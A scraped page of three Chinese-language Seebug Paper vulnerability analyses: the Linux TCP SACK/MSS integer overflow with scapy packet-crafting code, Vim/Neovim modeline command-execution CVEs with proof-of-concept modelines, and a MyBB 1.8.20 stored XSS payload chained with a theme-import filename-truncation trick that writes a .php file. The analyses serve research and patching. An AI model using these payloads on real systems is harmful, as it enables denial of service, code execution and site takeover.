123456789101112131415161718192021222324252627TCPOptions = ({0 : ("EOL",None),1 : ("NOP",None),2 : ("MSS","!H"),3 : ("WScale","!B"),4 : ("SAckOK",None),5 : ("SAck","!"),8 : ("Timestamp","!II"),14 : ("AltChkSum","!BH"),15 : ("AltChkSumOpt",None),25 : ("Mood","!p"),254 : ("Experiment","!HHHH")},{"EOL":0,"NOP":1,"MSS":2,"WScale":3,"SAckOK":4,"SAck":5,"Timestamp":8,"AltChkSum":14,"AltChkSumOpt":15,"Mood":25,"Experiment":254})但是这个会有一个问题,在使用Python发送了一个SYN包以后,内核会自动带上一个RST包,查过资料后,发现在新版系统中,对于用户发送的未完成的TCP握手包,内核会发送RST包终止该连接,应该是为了防止进行SYN Floor攻击。解决办法是使用iptable过滤RST包:
1$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.11.111 -j DROP对于MSS的深入研究
关于该漏洞的细节,别的文章中已经分析过了,这里简单的提一下,该漏洞为uint16溢出:
12345tcp_gso_segs 类型为uint16tcp_set_skb_tso_segs<span class="token punctuation">:</span><span class="token function">tcp_skb_pcount_set<span class="token punctuation">(</span></span>skb<span class="token punctuation">,</span> <span class="token function">DIV_ROUND_UP<span class="token punctuation">(</span></span>skb<span class="token operator">-</span>>len<span class="token punctuation">,</span> mss_now<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>skb<span class="token operator">-</span>>len的最大值为<span class="token number">17</span> <span class="token operator">*</span> <span class="token number">32</span> <span class="token operator">*</span> <span class="token number">1024</span>mss_now的最小值为<span class="token number">8</span>1234>>> hex<span class="token punctuation">(</span><span class="token number">17</span><span class="token operator">*</span><span class="token number">32</span><span class="token operator">*</span><span class="token number">1024</span><span class="token operator">/</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token string">'0x11000'</span>>>> hex<span class="token punctuation">(</span><span class="token number">17</span><span class="token operator">*</span><span class="token number">32</span><span class="token operator">*</span><span class="token number">1024</span><span class="token operator">/</span><span class="token operator">/</span><span class="token number">9</span><span class="token punctuation">)</span><span class="token string">'0xf1c7'</span>所以在mss_now小于等于8时,才能发生整型溢出。
深入研究的原因是因为进行了如下的测试:
攻击机器通过
iptables/iproute命令将MSS值为48后,使用curl请求靶机的http服务,然后使用wireshark抓流量,发现服务器返回的http数据包的确被分割成小块,但是只小到36,离预想的8有很大的差距
这个时候我选择通过审计源码和调试来深入研究为啥MSS无法达到我的预期值,SYN包中设置的MSS值到代码中的mss_now的过程中发生了啥?
随机进行源码审计,对发生溢出的函数
tcp_set_skb_tso_segs进行回溯:12tcp_set_skb_tso_segs <- tcp_fragment <- tso_fragment <- tcp_write_xmit最后发现,传入tcp_write_xmit函数的mss_now都是通过tcp_current_mss函数进行计算的随后对
tcp_current_mss函数进行分析,关键代码如下:12345678910111213# tcp_output.ctcp_current_mss -> tcp_sync_mss:mss_now = tcp_mtu_to_mss(sk, pmtu);tcp_mtu_to_mss:/* Subtract TCP options size, not including SACKs */return __tcp_mtu_to_mss(sk, pmtu) -(tcp_sk(sk)->tcp_header_len - sizeof(struct tcphdr));__tcp_mtu_to_mss:if (mss_now < 48)mss_now = 48;return mss_now;看完这部分源码后,我们对MSS的含义就有一个深刻的理解,首先说一说TCP协议:
TCP协议包括了协议头和数据,协议头包括了固定长度的20字节和40字节的可选参数,也就是说TCP头部的最大长度为60字节,最小长度为20字节。
在
__tcp_mtu_to_mss函数中的mss_now为我们SYN包中设置的MSS,从这里我们能看出MSS最小值是48,通过对TCP协议的理解和对代码的理解,可以知道SYN包中MSS的最小值48字节表示的是:TCP头可选参数最大长度40字节 + 数据最小长度8字节。但是在代码中的mss_now表示的是数据的长度,接下来我们再看该值的计算公式。
tcphdr结构:
12345678910111213141516171819202122232425262728293031323334struct tcphdr {__be16 source;__be16 dest;__be32 seq;__be32 ack_seq;#if defined(__LITTLE_ENDIAN_BITFIELD)__u16 res1:4,doff:4,fin:1,syn:1,rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;#elif defined(__BIG_ENDIAN_BITFIELD)__u16 doff:4,res1:4,cwr:1,ece:1,urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;#else#error "Adjust your <asm/byteorder.h> defines"#endif__be16 window;__sum16 check;__be16 urg_ptr;};该结构体为TCP头固定结构的结构体,大小为20bytes
变量
tcp_sk(sk)->tcp_header_len表示的是本机发出的TCP包头部的长度。因此我们得到的计算mss_now的公式为:SYN包设置的MSS值 - (本机发出的TCP包头部长度 - TCP头部固定的20字节长度)
所以,如果
tcp_header_len的值能达到最大值60,那么mss_now就能被设置为8。那么内核代码中,有办法让tcp_header_len达到最大值长度吗?随后我们回溯该变量:12345678910# tcp_output.ctcp_connect_init:tp->tcp_header_len = sizeof(struct tcphdr);if (sock_net(sk)->ipv4.sysctl_tcp_timestamps)tp->tcp_header_len += TCPOLEN_TSTAMP_ALIGNED;#ifdef CONFIG_TCP_MD5SIGif (tp->af_specific->md5_lookup(sk, sk))tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;#endif所以在Linux 4.15内核中,在用户不干预的情况下,内核是不会发出头部大小为60字节的TCP包。这就导致了MSS无法被设置为最小值8,最终导致该漏洞无法利用。
总结
我们来总结一下整个流程:
- 攻击者构造SYN包,自定义TCP头部可选参数MSS的值为48
- 靶机(受到攻击的机器)接收到SYN请求后,把SYN包中的数据保存在内存中,返回SYN,ACK包。
- 攻击者返回ACK包
三次握手完成
随后根据不同的服务,靶机主动向攻击者发送数据或者接收到攻击者的请求后向攻击者发送数据,这里就假设是一个nginx http服务。
1. 攻击者向靶机发送请求:GET / HTTP/1.1。2. 靶机接收到请求后,首先计算出tcp_header_len,默认等于20字节,在内核配置sysctl_tcp_timestamps开启的情况下,增加12字节,如果编译内核的时候选择了CONFIG_TCP_MD5SIG,会再增加18字节,也就是说tcp_header_len的最大长度为50字节。3. 随后需要计算出mss_now = 48 - 50 + 20 = 18这里假设一下该漏洞可能利用成功的场景:有一个TCP服务,自己设定了TCP可选参数,并且设置满了40字节,那么攻击者才有可能通过构造SYN包中的MSS值来对该服务进行Dos攻击。随后我对Linux 2.6.29至今的内核进行审计,mss_now的计算公式都一样,tcp_header_len长度也只会加上时间戳的12字节和md5值的18字节。----- 2019/07/03 UPDATE -----
经过@riatre大佬的指正,我发现上述我对
tcp_current_mss函数的分析中漏了一段重要的代码:123456789# tcp_output.ctcp_current_mss -> tcp_sync_mss:mss_now = tcp_mtu_to_mss(sk, pmtu);header_len = tcp_established_options(sk, NULL, &opts, &md5) +sizeof(struct tcphdr);if (header_len != tp->tcp_header_len) {int delta = (int) header_len - tp->tcp_header_len;mss_now -= delta;}在
tcp_established_options函数的代码中,除了12字节的时间戳,20字节的md5,还有对SACK长度的计算,在长度不超过tcp可选项40字节限制的前提下,公式为:size = 4 + 8 * opts->num_sack_blocks12345678910eff_sacks = tp->rx_opt.num_sacks + tp->rx_opt.dsack;if (unlikely(eff_sacks)) {const unsigned int remaining = MAX_TCP_OPTION_SPACE - size;opts->num_sack_blocks =min_t(unsigned int, eff_sacks,(remaining - TCPOLEN_SACK_BASE_ALIGNED) /TCPOLEN_SACK_PERBLOCK);size += TCPOLEN_SACK_BASE_ALIGNED +opts->num_sack_blocks * TCPOLEN_SACK_PERBLOCK;}所以凑齐40字节的方法是:12字节的时间戳 + 8 * 3(opts->num_sack_blocks)
变量
opts->num_sack_blocks表示从对端接受的数据包中丢失的数据包数目所以在这里修改一下总结中后三步的过程:
- 攻击者向靶机发送一段正常的HTTP请求
- 靶机接收到请求后,会发送HTTP响应包,如上面的wireshark截图所示,响应包会按照36字节的长度分割成多分
- 攻击者构造序列号带有缺漏的ACK包(ACK包需要带一些数据)
- 服务器接收到无序的ACK包后,发现产生了丢包的情况,所以在后续发送的数据包中,都会带上SACK选项,告诉客户端,那些数据包丢失,直到TCP链接断开或者接收到响应序列的数据包。
效果如下图所示:

因为算上时间戳,TCP SACK选项里最多只能包含3段序列编号,所以只要发送4次ACK包,就能把MSS设置为8。
部分scapy代码如下:
123456789101112131415data = "GET / HTTP/1.1\nHost: 192.168.11.112\r\n\r\n"ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)ACK.options = [("NOP",None), ("NOP",None), ('Timestamp', (1, 2))]send(ip/ACK/data)dl = len(data)test = "a"*10ACK.seq += dl + 20ACK.ack = SYNACK.seq+73send(ip/ACK/test)ACK.seq += 30ACK.ack = SYNACK.seq+181send(ip/ACK/test)ACK.seq += 30ACK.ack = SYNACK.seq+253send(ip/ACK/test)因为现在已经能满足mss_now=8的前提,后续将会对该漏洞进行进一步的分析。
参考
- https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md
- https://paper.seebug.org/959/
- https://paper.seebug.org/960/

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/966/
-
Vim/Neovim 基于 modeline 的多个任意代码执行漏洞分析(CVE-2002-1377、CVE-2016-1248、CVE-2019-12735)
作者:fenix@知道创宇 404 实验室
日期:2019 年 6 月 11 日
英文版本:https://paper.seebug.org/956/前言
Vim 是从 vi 发展出来的一个文本编辑器。代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和 Emacs 并列成为类 Unix 系统用戶最喜欢的文本编辑器。Neovim 是一个基于 vim 源代码的重构项目。
2019 年 06 月 04 日,Vim & neovim 被曝出任意代码执行漏洞。攻击者通过诱使受害者使用 vim 或者 neovim 打开一个精心制作的文件,可以在目标机器上执行任意命令。
该漏洞是由于启用了 modeline 模式导致的,Vim & neovim 历史上也多次曝出和 modeline 相关的漏洞。
原作者已经分析的很清楚了,本文权当总结一下,顺便对历史曝出的多个漏洞做一次完整的分析。(在 vim 环境下,neovim 类似)
modeline 详解
既然都是和 modeline 相关的漏洞,那就有必要知道 modeline 是什么。
vim 一共有 4 种模式:正常模式、插入模式、命令模式、可视模式。
在正常模式中,按下
:键,就可以进入命令模式。在命令模式中可以执行一些输入并执行一些 vim 或插件提供的指令,就像在 shell 里一样。这些指令包括设置环境、文件操作、调用某个功能、执行命令等等。例如设置不显示行号:
如果有很多偏好设置,每次打开文件都手动设置就会显得很繁琐,这时候
.vimrc就派上用场了,在启动 vim 时,当前用户根目录下的 .vimrc 文件会被自动加载。
.vimrc 中的设置会对打开的所有文件生效,不便于对单个文件作个性化设置,modeline 应运而生。
vim 的 modeline 可以让你针对每个文件进行文件级别的设置,这些设置是覆盖当前用户的 .vimrc 中的设置的。vim 默认关闭了 modeline,在 .vimrc 末尾追加
set modeline即可打开。如果 modeline 打开,vim 在打开文件时会解析文件开头及末尾符合一定格式的设置行。
格式一:

格式二:

为了安全考虑,在 modeline 的设置中只支持 set 命令。

特殊的,foldexpr,formatexpr,includeexpr,indentexpr,statusline,foldtext 等选项的值可以是一个表达式,如果选项是在 modeline 中设置,表达式在沙箱中执行。沙箱实质上就是对表达式所能实现的功能做了限制,如在沙箱中不能执行 shell 命令、不能读写文件、不能修改缓冲区等等,如下:

vim 对于沙箱的实现也很简单。
沙箱检查函数 check_secure():

在 libcall、luaeval 等危险指令的开头进行沙箱检查,如果发现在沙箱中调用,直接 return 掉。

历史曝出的几个 rce 漏洞中,CVE-2002-1377 和 CVE-2019-12735 都是由于存在部分指令没有检查沙箱,导致在 modeline 模式中被滥用从而任意命令执行。下面将一一分析。
CVE-2002-1377
2002 年曝出的 vim 任意代码执行漏洞,影响 6.0、6.1 版本。太过古老,环境难以重现,简单说下原理。PoC 如下:
12<span class="cm">/* vim:set foldmethod=expr: */</span><span class="cm">/* vim:set foldexpr=confirm(libcall("/lib/libc.so.6","system","/bin/ls"),"ms_sux"): */</span>利用 libcall 指令调用 libc 库中的 system 函数实现任意命令执行。

现在添加了沙箱检查,modeline 下已经用不了 libcall 了:

CVE-2016-1248
8.0.0056 之前的 vim 未正确验证 filetype、syntax 、keymap 选项的值,受害者在 modeline 开启下打开特制的文件,则可能导致执行任意代码。
从 github 克隆代码,checkout 到 v8.0.0055 分支,编译安装。.vimrc 的配置如下:

验证 PoC :
12<span class="m">00000000</span>: 2f2f <span class="m">2076</span> 696d 3a20 <span class="m">7365</span> <span class="m">7420</span> <span class="m">6674</span> 3d00 // vim: <span class="nb">set</span> <span class="nv">ft</span><span class="o">=</span>.<span class="m">00000010</span>: <span class="m">2165</span> <span class="m">6368</span> 6f5c <span class="m">2070</span> 776e <span class="m">6564</span> 203a 200a !echo<span class="se">\ </span>pwned : .set verbose=20开启所有日志,看下调用链:
autocommand 即“自动命令”,在发生某些事件时自动执行,类似于钩子函数。
比如我们在命令模式中输入
:set syntax=python, vim 就会在相应目录中寻找和 python syntax 相关的 vmscript 并加载。
如果我们在 modeline 中设置了 filetype 或者 syntax,会执行
au! FileType * exe "set syntax=" . expand("<amatch>")自动完成上述过程。首先删除所有和 FileType 相关联的自动命令,然后调用 exe (即 execute) 执行set syntax=filetype。execute 用于执行一个表达式字符串,由于未对 filetype 过滤,造成了命令注入。相关代码在 /usr/local/share/vim/vim80/syntax/syntax.vim:

patch 8.0.0056 增加了对名称的校验。

CVE-2019-12735
最近刚曝出来,影响 Vim < 8.1.1365,Neovim < 0.3.6。和 CVE-2002-1377 原理类似,找到了一个新的绕过沙箱执行命令的点。source 指定的定义如下:

:so! filepath可以从一个文件加载 vim 命令。
构造 PoC,将待执行的命令放在 text 部分,
so! %加载当前文件。[text]{white}{vi:|vim:|ex:}[white]{options}

补丁对 source 指令添加了沙箱检查。

总结
Windows 记事本都任意代码执行了,Vim 怎么能被比下去 … 漏洞无处不在,谨慎打开任何来历不明文件。
参考链接
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://github.com/vim/vim/commit/d0b5138ba4bccff8a744c99836041ef6322ed39a

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/952/
-
Mybb 18.20 From Stored XSS to RCE 分析
作者:LoRexxar'@知道创宇404实验室
日期:2019年6月12日
英文版本:https://paper.seebug.org/954/2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE,文章中主要提到了一个Mybb18.20中存在的存储型xss以及一个后台的文件上传绕过。
其实漏洞本身来说,毕竟是需要通过XSS来触发的,哪怕是储存型XSS可以通过私信等方式隐藏,但漏洞的影响再怎么严重也有限,但漏洞点却意外的精巧,下面就让我们一起来详细聊聊看...
漏洞要求
储存型xss
- 拥有可以发布信息的账号权限
- 服务端开启视频解析
- <=18.20
管理员后台文件创建漏洞
- 拥有后台管理员权限(换言之就是需要有管理员权限的账号触发xss)
- <=18.20
漏洞分析
在原文的描述中,把多个漏洞构建成一个利用链来解释,但从漏洞分析的角度来看,我们没必要这么强行,我们分别聊聊这两个单独的漏洞:储存型xss、后台任意文件创建。
储存型xss
在Mybb乃至大部分的论坛类CMS中,一般无论是文章还是评论又或是的什么东西,都会需要在内容中插入图片、链接、视频等等等,而其中大部分都是选择使用一套所谓的“伪”标签的解析方式。
也就是说用户们通过在内容中加入
[url]、[img]等“伪”标签,后台就会在保存文章或者解析文章的时候,把这类“伪”标签转化为相应的<a>、<img>,然后输出到文章内容中,而这种方式会以事先规定好的方式解析和处理内容以及标签,也就是所谓的白名单防御,而这种语法被称之为bbcode。这样一来攻击者就很难构造储存型xss了,因为除了这些标签以外,其他的标签都不会被解析(所有的左右尖括号以及双引号都会被转义)。
12345678function htmlspecialchars_uni($message){$message = preg_replace("#&(?!\#[0-9]+;)#si", "&amp;", $message); // Fix & but allow unicode$message = str_replace("<", "&lt;", $message);$message = str_replace(">", "&gt;", $message);$message = str_replace("\"", "&quot;", $message);return $message;}正所谓,有人的地方就会有漏洞。
在这看似很绝对的防御方式下,我们不如重新梳理下Mybb中的处理过程。
在
/inc/class_parse.phpline 435 的parse_mycode函数中就是主要负责处理这个问题的地方。123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293function parse_mycode($message, $options=array()){global $lang, $mybb;if(empty($this->options)){$this->options = $options;}// Cache the MyCode globally if needed.if($this->mycode_cache == 0){$this->cache_mycode();}// Parse quotes first$message = $this->mycode_parse_quotes($message);// Convert images when allowed.if(!empty($this->options['allow_imgcode'])){$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback1'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback2'), $message);$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback3'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback4'), $message);}else{$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback1'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback2'), $message);$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback3'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback4'), $message);}// Convert videos when allow.if(!empty($this->options['allow_videocode'])){$message = preg_replace_callback("#\[ video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_callback'), $message);}else{$message = preg_replace_callback("#\[ video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_disabled_callback'), $message);}$message = str_replace('$', '$', $message);// Replace the restif($this->mycode_cache['standard_count'] > 0){$message = preg_replace($this->mycode_cache['standard']['find'], $this->mycode_cache['standard']['replacement'], $message);}if($this->mycode_cache['callback_count'] > 0){foreach($this->mycode_cache['callback'] as $replace){$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);}}// Replace the nestable mycode'sif($this->mycode_cache['nestable_count'] > 0){foreach($this->mycode_cache['nestable'] as $mycode){while(preg_match($mycode['find'], $message)){$message = preg_replace($mycode['find'], $mycode['replacement'], $message);}}}// Reset list cacheif($mybb->settings['allowlistmycode'] == 1){$this->list_elements = array();$this->list_count = 0;// Find all lists$message = preg_replace_callback("#(\[list(=(a|A|i|I|1))?\]|\[/list\])#si", array($this, 'mycode_prepare_list'), $message);// Replace all listsfor($i = $this->list_count; $i > 0; $i--){// Ignores missing end tags$message = preg_replace_callback("#\s?\[list(=(a|A|i|I|1))?&{$i}\](.*?)(\[/list&{$i}\]|$)(\r\n?|\n?)#si", array($this, 'mycode_parse_list_callback'), $message, 1);}}$message = $this->mycode_auto_url($message);return $message;}当服务端接收到你发送的内容时,首先会处理解析[ img ]相关的标签语法,然后如果开启了$this->options['allow_videocode'](默认开启),那么开始解析[ video ]相关的语法,然后是[list]标签。在488行开始,会对[url]等标签做相应的处理。
1234567if($this->mycode_cache['callback_count'] > 0){foreach($this->mycode_cache['callback'] as $replace){$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);}}我们把上面的流程简单的具象化,假设我们在内容中输入了
1[ video=youtube ]youtube.com/test[ /video ][url]test.com[/url]后台会首先处理[ video ],然后内容就变成了
1<iframe src="youtube.com/test">[url]test.com[/url]然后会处理
[url]标签,最后内容变成1<iframe src="youtube.com/test"><a href="test.com"></a>乍一看好像没什么问题,每个标签内容都会被拼接到标签相应的属性内,还会被
htmlspecialchars_uni处理,也没办法逃逸双引号的包裹。但假如我们输入这样的内容呢?
1[ video=youtube ]http://test/test#[url]onload=alert();//[/url]&1=1[/video]首先跟入到函数
/inc/class_parse.php line 1385行 mycode_parse_video中
链接经过
parse_url处理被分解为12345array (size=4)'scheme' => string 'http' (length=4)'host' => string 'test' (length=4)'path' => string '/test' (length=5)'fragment' => string '[url]onmousemove=alert();//[/url]&amp;1=1' (length=41)然后在1420行,各个参数会被做相应的处理,由于我们必须保留
=号以及/号,所以这里我们选择把内容放在fragment中。
在1501行case youtube中,被拼接到id上
1234567891011121314case "youtube":if($fragments[0]){$id = str_replace('!v=', '', $fragments[0]); // http://www.youtube.com/watch#!v=fds123}elseif($input['v']){$id = $input['v']; // http://www.youtube.com/watch?v=fds123}else{$id = $path[1]; // http://www.youtu.be/fds123}break;最后id会经过一次htmlspecialchars_uni,然后生成模板。
1234$id = htmlspecialchars_uni($id);eval("\$video_code = \"".$templates->get("video_{$video}_embed", 1, 0)."\";");return $video_code;当然这并不影响到我们上面的内容。
到此为止我们的内容变成了
1<iframe width="560" height="315" src="//www.youtube.com/embed/[url]onload=alert();//[/url]" frameborder="0" allowfullscreen></iframe>紧接着再经过对
[url]的处理,上面的内容变为1<iframe width="560" height="315" src="//www.youtube.com/embed/<a href="http://onload=alert();//" target="_blank" rel="noopener" class="mycode_url">http://onload=alert();//</a>" frameborder="0" allowfullscreen></iframe>我们再把前面的内容简化看看,链接由
1[ video=youtube ]http://test/test#[url]onload=alert();//[/url]&1=1[/video]变成了
1<iframe src="//www.youtube.com/embed/<a href="http://onload=alert();//"..."></iframe>由于我们插入在
iframe标签中的href被转变成了<a href="http://onload=alert();//">, 由于双引号没有转义,所以iframe的href在a标签的href中被闭合,而原本的a标签中的href内容被直接暴露在了标签中,onload就变成了有效的属性!最后浏览器会做简单的解析分割处理,最后生成了相应的标签,当url中的链接加载完毕,标签的动作属性就可以被触发了。

管理员后台文件创建漏洞
在Mybb的管理员后台中,管理员可以自定义论坛的模板和主题,除了普通的导入主题以外,他们允许管理员直接创建新的css文件,当然,服务端限制了管理员的这种行为,它要求管理员只能创建文件结尾为
.css的文件。123456789101112/admin/inc/functions_themes.php line 264function import_theme_xml($xml, $options=array()){...foreach($theme['stylesheets']['stylesheet'] as $stylesheet){if(substr($stylesheet['attributes']['name'], -4) != ".css"){continue;}...看上去好像并没有什么办法绕过,但值得注意的是,代码中先将文件名先写入了数据库中。

紧接着我们看看数据库结构

我们可以很明显的看到name的类型为varchar且长度只有30位。
如果我们在上传的xml文件中构造name为
tttttttttttttttttttttttttt.php.css时,name在存入数据库时会被截断,并只保留前30位,也就是tttttttttttttttttttttttttt.php.12345678910<?xml version="1.0" encoding="UTF-8"?><theme><stylesheets><stylesheet name="tttttttttttttttttttttttttt.php.css">test</stylesheet></stylesheets></theme>紧接着我们需要寻找一个获取name并创建文件的地方。
在/admin/modules/style/themes.php 的1252行,这个变量被从数据库中提取出来。

theme_stylesheet 的name作为字典的键被写入相关的数据。
当
$mybb->input['do'] == "save_orders"时,当前主题会被修改。
在保存了当前主题之后,后台会检查每个文件是否存在,如果不存在,则会获取name并写入相应的内容。

可以看到我们成功的写入了php文件
完成的漏洞复现过程
储存型xss
找到任意一个发送信息的地方,如发表文章、发送私信等....

发送下面这些信息
然后阅读就可以触发

管理员后台文件创建漏洞
找到后台加载theme的地方

构造上传文件test.xml
12345678910<?xml version="1.0" encoding="UTF-8"?><theme><stylesheets><stylesheet name="tttttttttttttttttttttttttt.php.css">test</stylesheet></stylesheets></theme>需要注意要勾选 Ignore Version Compatibility。
然后查看Theme列表,找到新添加的theme

然后保存并访问相应tid地址的文件即可

补丁
储存型xss

这里的iframe标签的链接被encode_url重新处理,一旦被转义,那么
[url]就不会被继续解析,则不会存在问题。管理员后台文件创建漏洞

在判断文件名后缀之前,加入了字符数的截断,这样一来就无法通过数据库字符截断来构造特殊的name了。
写在最后
整个漏洞其实说到实际利用来说,其实不算太苛刻,基本上来说只要能注册这个论坛的账号就可以构造xss,由于是储存型xss,所以无论是发送私信还是广而告之都有很大的概率被管理员点击,当管理员触发之后,之后的js构造exp就只是代码复杂度的问题了。
抛开实际的利用不谈,这个漏洞的普适性才更加的特殊,bbcode是现在主流的论坛复杂环境的解决方案,事实上,可能会有不少cms会忽略和mybb一样的问题,毕竟人才是最大的安全问题,当人自以为是理解了机器的一切想法时,就会理所当然得忽略那些还没被发掘的问题,安全问题,也就在这种情况下悄然诞生了...

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/949/
